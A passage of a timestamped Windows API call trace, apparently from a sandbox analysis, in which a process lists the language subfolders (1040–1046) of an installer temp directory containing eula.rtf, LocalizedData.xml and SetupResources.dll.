	[0041.411] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742eb0
	[0041.412] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.412] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.412] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.413] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.413] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.413] FindClose (in: hFindFile=0x742eb0 | out: hFindFile=0x742eb0) returned 1
	[0041.413] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.413] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0041.413] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.413] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742df0
	[0041.414] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.414] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.415] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.415] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.415] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.415] FindClose (in: hFindFile=0x742df0 | out: hFindFile=0x742df0) returned 1
	[0041.415] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.416] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0041.416] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.416] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742eb0
	[0041.416] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.416] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.416] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.416] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.416] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.416] FindClose (in: hFindFile=0x742eb0 | out: hFindFile=0x742eb0) returned 1
	[0041.416] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.416] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0041.416] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.416] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743230
	[0041.417] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.417] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.417] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.417] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.417] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.417] FindClose (in: hFindFile=0x743230 | out: hFindFile=0x743230) returned 1
	[0041.417] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.417] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0041.418] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.418] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742eb0
	[0041.420] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.420] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.420] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.420] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.420] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.420] FindClose (in: hFindFile=0x742eb0 | out: hFindFile=0x742eb0) returned 1
	[0041.421] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.421] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0041.421] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.421] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743170
	[0041.423] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.423] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.423] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.423] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.423] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.423] FindClose (in: hFindFile=0x743170 | out: hFindFile=0x743170) returned 1
	[0041.424] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.424] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0041.424] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.424] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742df0
